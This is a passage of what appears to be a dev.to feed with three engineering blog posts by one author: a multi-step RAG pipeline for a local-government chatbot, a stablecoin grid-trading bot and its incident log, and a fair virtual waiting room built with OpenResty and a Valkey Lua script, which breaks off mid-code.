&lt;p&gt;I created an AI chatbot that provides local government information. It started as a simple RAG (Retrieval-Augmented Generation) pipeline, but while testing actual questions, I discovered several issues and enhanced it into a 7-step pipeline to resolve them.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Limitations of Basic RAG&lt;/strong&gt;&lt;br&gt;
Having previously worked on a project using an RAG pipeline and orchestration with AWS Bedrock, I wanted to build the RAG pipeline myself this time. The initially constructed RAG pipeline was simple.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;User query -&amp;gt; Embedding -&amp;gt; Vector search -&amp;gt; LLM answer generation&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;However, the above method had several problems.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Failure to Understand Context&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User: "I don't have a washing machine at home, is there a laundry service?"
Chatbot: "In XX district, there is an appliance support program for low-income households..."
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the actual prepared data, there was information related to 'support for laundry and luggage storage services,' but it got stuck on the keyword washing machine and generated an irrelevant response. (&lt;del&gt;In fact, there was no such support program.&lt;/del&gt;)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Ignoring Conversation History&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User: "What welfare benefits are available for the disabled?"
Chatbot: (Provides information on welfare for the disabled)

User: "Until when can I apply??"
Chatbot: "I'm sorry. I cannot find information on the application deadline."

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Since the vector search was done based on the embedded user query, the context resulting from the vector search for the follow-up question itself was sometimes unrelated to or did not fit the previous question history.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;7-Step Pipeline Design&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;To solve the above problems, I redesigned the pipeline as follows.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[Step 1] Receive user query
↓
[Step 2] Reconstruct query based on conversation history (using LLM)
↓
[Step 3] Generate embedding
↓
[Step 4] Vector search (top_k = 5)
↓
[Step 5] Combine all chunks of related documents
↓
[Step 6] Include attachment metadata
↓
[Step 7] Validate LLM context and generate answer
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 2: Reconstruct Query Based on Conversation History&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Based on the conversation with the chatbot, I aimed to reconstruct the incoming user query to fit the context.&lt;/p&gt;

&lt;p&gt;The results were as follows.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User: "What welfare is available for the disabled?"
→ Reconstructed query: "Types of welfare policies for the disabled"

User: "Until when can I apply?"
→ Reconstructed query: "Application period for welfare policies for the disabled"  # Maintains context based on previous question!!

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 5: Combine All Chunks of Related Documents&lt;/strong&gt;&lt;br&gt;
I believe this was the core of the project. Previously, only the chunks resulting from the vector search were used as context, which led to insufficient data to reference when generating answers.&lt;br&gt;
The data stored in the vector DB was chunked into fixed-size chunks of about 500 tokens with a 30-token overlap, but I determined that providing accurate information with just those chunks was difficult, so I decided to combine all chunks from the original document to which the searched chunk belonged to provide as context.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[Step 4] Vector search completed - Number of results: 5
  [1] Similarity: 0.4939 | Title: Support for laundry and luggage storage... | ID: doc_123
  [2] Similarity: 0.4062 | Title: Support for home care services... | ID: doc_456
[Step 5] Combine all chunks of related documents
  - doc_123: Combined 3 chunks
  - doc_456: Combined 2 chunks
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To provide accurate answers, I concluded that rather than generating answers from just a part of the document, it was necessary to find similar relationships through vector search and generate answers based on the entire content of the document.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 7: LLM Context Validation&lt;/strong&gt;&lt;br&gt;
Before generating the actual answer to be provided to the user, I used LLM to verify whether the vector search results were indeed related to the user query and whether the data was appropriate before providing the answer.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Received a response in the following format through LLM.
- is_relevant: true/false  // Whether the context is appropriate
- confidence: high/medium/low // Confidence level
- action: answer/refine_search/no_data // Proceed with answer, re-search, no data found notification
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Technology Stack&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Python FastAPI&lt;/li&gt;
&lt;li&gt;FAISS (vector store)&lt;/li&gt;
&lt;li&gt;jhgan/ko-sroberta-multitask (Korean specialized embedding open source)&lt;/li&gt;
&lt;li&gt;React&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Final Log Example&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;INFO: RAG streaming query: Tell me about disability benefits (session: ea2431fb...)
INFO:=======================================================================
INFO: [Step 1] User query: Tell me about disability benefits
INFO: [Step 2] Reconstructed search query: Content and application method for disability benefits
INFO: [Step 3] Embedding generation completed
INFO: [Step 4] Vector search completed - Number of results: 5
INFO:   [1] Similarity: 0.6234 | Title: Support for disability benefits... | Department: Disability Welfare Division
INFO:   [2] Similarity: 0.5891 | Title: Guide to disability pensions... | Department: Disability Welfare Division
INFO: [Step 5] Combine all chunks of related documents - 2 documents, 7 chunks
INFO: [Step 6] Check attachments - 1 document included
INFO: [Step 7] LLM validation completed
INFO:   - Relevance: True
INFO:   - Confidence: high
INFO:   - Action: answer
INFO: Starting answer generation...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;In Conclusion&lt;/strong&gt;&lt;br&gt;
Starting from a simple RAG project and contemplating an advanced orchestration processing method like AWS Bedrock's Agent service, I went through the process of enhancing it into a 7-step pipeline, and I noticed a significant improvement in responses with each additional step.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>rag</category>
      <category>llm</category>
    </item>
    <item>
      <title>Development of the Seven Split Automated Trading Program for Stablecoin (USDT)</title>
      <dc:creator>Jikwang Moon</dc:creator>
      <pubDate>Sat, 07 Nov 2026 03:50:00 +0000</pubDate>
      <link>https://dev.to/moonjikwang/development-of-the-seven-split-automated-trading-program-for-stablecoin-usdt-2o1l</link>
      <guid>https://dev.to/moonjikwang/development-of-the-seven-split-automated-trading-program-for-stablecoin-usdt-2o1l</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Using the characteristics of stablecoins (USDT) with low exchange rate fluctuations, I created a grid trading bot that consistently generates profits with small amounts.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;One day, while listening to the radio, I heard the author of Seven Split and the representative of Split Invest talking, which led to this project.&lt;/p&gt;

&lt;p&gt;There are many automated trading bots in the market, but most target highly volatile coins like Bitcoin and Ethereum.&lt;br&gt;
In contrast, I aimed for modest but steady profits in the low-volatility USDT/KRW market (following the strategy of Seven Split..)&lt;/p&gt;

&lt;p&gt;The chosen asset, Tether, is a stablecoin pegged to the dollar, which has a low risk of sharp declines and tends to move sideways within a certain range, making it suitable for grid strategies.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Technology Stack&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Python&lt;/li&gt;
&lt;li&gt;SQLite (WAL: Write-Ahead Logging mode)&lt;/li&gt;
&lt;li&gt;Upbit REST API&lt;/li&gt;
&lt;li&gt;Rich (terminal dashboard)&lt;/li&gt;
&lt;li&gt;Telegram Bot API (buy/sell notifications)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;What is Grid Trading?&lt;/strong&gt;&lt;br&gt;
Grid trading is a strategy that places buy/sell orders at regular price intervals (grids).&lt;br&gt;
For example, in my case, I set the grid interval to 3 won:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Buy at 1,476 won -&amp;gt; Sell at 1,479 won&lt;/li&gt;
&lt;li&gt;Buy at 1,473 won -&amp;gt; Sell at 1,476 won&lt;/li&gt;
&lt;li&gt;Buy at 1,470 won -&amp;gt; Sell at 1,473 won&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In this way, when the price goes down, it automatically buys in parts, and when it goes up, it sells each position individually. The profit per transaction is not large, but it accumulates by repeating this 24 hours a day.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Profit Structure&lt;/strong&gt;&lt;br&gt;
Currently in the verification phase, when the buy amount per transaction is set to 50,000 won and the grid interval to 3 won:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Buy: 50,000 KRW + Commission 25 KRW = 50,025 KRW&lt;br&gt;
Sell: 50,101 KRW - Commission 25 KRW = 50,076 KRW&lt;br&gt;
Net Profit: About 51 KRW / transaction&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The commission rate on Upbit is 0.05%, so approximately 50 won is spent on commissions for each round trip of buying/selling.&lt;br&gt;
A total profit of 101 won occurs at a 3 won interval, and after deducting the commission of 50 won, about 51 won remains as net profit per transaction.&lt;br&gt;
While it's not a large profit, if many transactions are executed in a day, the profits will accumulate.&lt;/p&gt;

&lt;p&gt;Architecture&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;main.py          ─ Entry point (daemon / dashboard)
├── strategy.py  ─ Grid trading logic
├── upbit_api.py ─ Upbit REST API wrapper
├── database.py  ─ SQLite position/trade management
├── dashboard.py ─ Rich terminal dashboard
└── notifier.py  ─ Telegram notifications
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To operate 24 hours, the server runs as a systemd service, and when monitoring is needed, it can be run separately in dashboard mode (--dashboard-only) for verification.&lt;/p&gt;

&lt;p&gt;Position Lifecycle&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Limit buy order → pending_buy (if there is a difference of more than 3 steps, cancel the order)
        ↓ Execution
     active (holding)
        ↓ Limit sell order
   pending_sell (waiting to sell)
        ↓ Execution
      sold (completed, profit confirmed)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All orders are placed as limit orders.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why Limit Orders?&lt;/strong&gt;&lt;br&gt;
Initially, I implemented it with market buy + market sell. (I incurred losses here..)&lt;br&gt;
While the logic was simple and it executed immediately, there is a bid-ask spread of about 1-2 won in the USDT/KRW market. When buying at market price, it gets executed at the sell price, and when selling at market price, it gets executed at the buy price. Although I set the grid interval to 3 won, if I incur a loss of 1-2 won due to the spread, there may be no actual margin or even a negative situation.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Intent: Buy at 1,476 won → Sell at 1,479 won (3 won profit)
Actual: Buy at 1,477 won → Sell at 1,478 won (1 won profit, loss after commission)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After switching to limit orders, I was able to execute exactly at the grid price and achieve the intended profit.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Incident Log&lt;/strong&gt;&lt;br&gt;
Infinite Buy Incident&lt;/p&gt;

&lt;p&gt;This was the incident that caused the most significant loss. The SQLite DB became read-only, and after a buy order, an error occurred where it could not record the position. Since the position was not recorded, it kept returning False regarding whether it was the amount bought, causing the bot to repeatedly buy at the same grid.&lt;br&gt;
It ended up buying all the balance in Upbit, resulting in an excess purchase of about 450,000 won.. This caused commission fees and mental shock.&lt;/p&gt;

&lt;p&gt;After this incident, I strengthened the DB safety measures.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Check DB accessibility every tick&lt;/li&gt;
&lt;li&gt;Immediately stop the bot if DB write fails&lt;/li&gt;
&lt;li&gt;Automatically stop after 3 consecutive errors&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Grid Interval Optimization&lt;/strong&gt;&lt;br&gt;
Initially, I started with a 10 won interval, but there were no transactions at all for an entire day..&lt;br&gt;
The 52-week price range of USDT/KRW is about 1,339 to 1,655 won, and the daily fluctuation is usually around 5-15 won, so a 10 won interval was too wide.&lt;br&gt;
When I reduced it to 5 won, transactions began to occur, and I ultimately decided to set it to 3 won.&lt;br&gt;
A 1 won interval incurs more commission (about 50 won for a 50,000 won basis) than the profit, resulting in a loss. The minimum interval considering the commission was about 2 won.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Terminal Dashboard&lt;/strong&gt;&lt;br&gt;
When running the server in --dashboard-only mode, you can see the rendered dashboard using the Rich library.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fc91vtwbl5nmmkjzcu96j.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fc91vtwbl5nmmkjzcu96j.webp" alt=" " width="800" height="958"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When buy/sell transactions are executed, detailed notifications including commissions are sent via Telegram.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;br&gt;
Through this project, I once again realized that defensive programming is extremely important in financial systems. In general web services, bugs may only cause user inconvenience, but in financial services, bugs are directly related to money. A single DB write failure led to an excess purchase of 450,000 won, and the difference between market and limit orders resulted in losses of several won per transaction.&lt;/p&gt;

&lt;p&gt;Thanks to starting with a small amount from the verification phase, I was able to avoid significant losses, and now it operates stably, accumulating several transactions of 51 won profit each day.&lt;/p&gt;

</description>
      <category>python</category>
    </item>
    <item>
      <title>How I built a fair waiting room with OpenResty and one Valkey script</title>
      <dc:creator>Jikwang Moon</dc:creator>
      <pubDate>Fri, 06 Nov 2026 02:43:07 +0000</pubDate>
      <link>https://dev.to/moonjikwang/how-i-built-a-fair-waiting-room-with-openresty-and-one-valkey-script-1o2l</link>
      <guid>https://dev.to/moonjikwang/how-i-built-a-fair-waiting-room-with-openresty-and-one-valkey-script-1o2l</guid>
      <description>&lt;p&gt;A waiting room (or "virtual queue") is what you see when a ticket sale opens: &lt;em&gt;"You are number 1,342 in line."&lt;/em&gt; Behind it is a simple promise: &lt;strong&gt;let in only as many people as the site can handle, and let the rest in, in the order they arrived.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I built one into &lt;a href="https://github.com/corvus-gateway/corvus" rel="noopener noreferrer"&gt;Corvus&lt;/a&gt;, a self-hosted gateway on OpenResty. This post walks through how it works, the parts that were harder than they looked, and the trade-offs I made.&lt;/p&gt;

&lt;h2&gt;
  
  
  What "working" means
&lt;/h2&gt;

&lt;p&gt;Before writing code I wrote down what the queue must guarantee:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Capacity&lt;/strong&gt;: never more than N visitors inside at once.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Order&lt;/strong&gt;: first come, first served. A new visitor must not skip people who are already waiting.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No races&lt;/strong&gt;: several nginx workers (or several gateways) must never hand out the same free slot twice.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cheap for people inside&lt;/strong&gt;: visitors who are already admitted should not cost a database round trip on every request.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No trust in the browser&lt;/strong&gt;: closing a tab sends nothing reliable, so slots must free themselves.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Survive bad days&lt;/strong&gt;: a Valkey outage or a bot flood must not take the site down or empty the queue.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  The data model: five Valkey keys per room
&lt;/h2&gt;

&lt;p&gt;All the state of one room lives in &lt;a href="https://valkey.io" rel="noopener noreferrer"&gt;Valkey&lt;/a&gt;, the open-source fork of Redis that ships inside the Corvus container. It speaks the same protocol and runs the same Lua scripts, so everything below works unchanged on Redis too, and Corvus can point at an external Redis or Valkey when several gateways share one queue.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Key&lt;/th&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;Content&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;active&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;sorted set&lt;/td&gt;
&lt;td&gt;admitted sessions, score = expiry time (ms)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;queue&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;sorted set&lt;/td&gt;
&lt;td&gt;waiting sessions, score = ticket number&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;seen&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;sorted set&lt;/td&gt;
&lt;td&gt;waiting sessions, score = last time they checked in&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;seq&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;string&lt;/td&gt;
&lt;td&gt;ticket counter&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;rate&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;hash&lt;/td&gt;
&lt;td&gt;admissions in the current second&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The key names share a hash tag, &lt;code&gt;corvus:wr:{room}:active&lt;/code&gt;, &lt;code&gt;corvus:wr:{room}:queue&lt;/code&gt;…, so in a Valkey (or Redis) Cluster they land in the same slot and one script can touch all of them.&lt;/p&gt;

&lt;p&gt;Sorted sets do a lot of the work here:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;"Free expired slots" is one &lt;code&gt;ZREMRANGEBYSCORE active -inf now&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;"Who is next" is &lt;code&gt;ZPOPMIN queue&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;"What is my position" is &lt;code&gt;ZRANK queue sid&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  One Lua script, run atomically inside Valkey
&lt;/h2&gt;

&lt;p&gt;Requirement 3 is the classic trap. "Read the number of active sessions, and if there is room, add one" is a race if two workers do it at the same time. Valkey runs a Lua script (&lt;code&gt;EVALSHA&lt;/code&gt;) atomically, so the whole state machine is a single script and nothing else can run in between.&lt;/p&gt;

&lt;p&gt;The script supports a handful of operations: &lt;code&gt;enter&lt;/code&gt;, &lt;code&gt;poll&lt;/code&gt;, &lt;code&gt;heartbeat&lt;/code&gt;, &lt;code&gt;release&lt;/code&gt;, &lt;code&gt;stats&lt;/code&gt;. Every call starts the same way:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight lua"&gt;&lt;code&gt;&lt;span class="k"&gt;local&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;redis&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'TIME'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;local&lt;/span&gt; &lt;span class="n"&gt;now&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;tonumber&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;floor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;tonumber&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;-- Expired sessions free their slot (TTL/heartbeat based release; browser close is never trusted).&lt;/span&gt;
&lt;span class="n"&gt;redis&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'ZREMRANGEBYSCORE'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;K_ACTIVE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'-inf'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The time comes from Valkey's &lt;code&gt;TIME&lt;/code&gt;, not from the gateway. With several gateways there is exactly one clock, so "expired" means the same thing everywhere.&lt;/p&gt;

&lt;h3&gt;
  
  
  No queue jumping
&lt;/h3&gt;

&lt;p&gt;A new visitor gets in directly only if &lt;strong&gt;nobody is waiting&lt;/strong&gt; and there is a free slot:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight lua"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- New arrival: admit directly only when nobody is waiting (no queue jumping).&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;redis&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'ZCARD'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;K_QUEUE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="k"&gt;and&lt;/span&gt; &lt;span class="nf"&gt;budget&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
  &lt;span class="nf"&gt;admit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;active_ttl&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;finish&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="no"&gt;ACTIVE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sid&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="k"&gt;local&lt;/span&gt; &lt;span class="n"&gt;seq&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;redis&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'INCR'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;K_SEQ&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;redis&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'ZADD'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;K_QUEUE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;seq&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sid&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;redis&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'ZADD'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;K_SEEN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sid&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;finish&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="no"&gt;WAITING&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sid&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Without the &lt;code&gt;ZCARD == 0&lt;/code&gt; check, a visitor who happens to arrive the moment a slot frees up would take it, ahead of someone who has been waiting ten minutes.&lt;/p&gt;

&lt;h3&gt;
  
  
  Promotion: who gets the free slot
&lt;/h3&gt;

&lt;p&gt;Before answering, the script moves people from the head of the line into free slots:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight lua"&gt;&lt;code&gt;&lt;span class="k"&gt;local&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;promote&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;local&lt;/span&gt; &lt;span class="n"&gt;scanned&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
  &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;scanned&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;promote_max&lt;/span&gt; &lt;span class="k"&gt;and&lt;/span&gt; &lt;span class="nf"&gt;budget&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
    &lt;span class="k"&gt;local&lt;/span&gt; &lt;span class="n"&gt;head&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;redis&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'ZPOPMIN'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;K_QUEUE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="c1"&gt;#head == 0 then break end&lt;/span&gt;
    &lt;span class="n"&gt;scanned&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;scanned&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
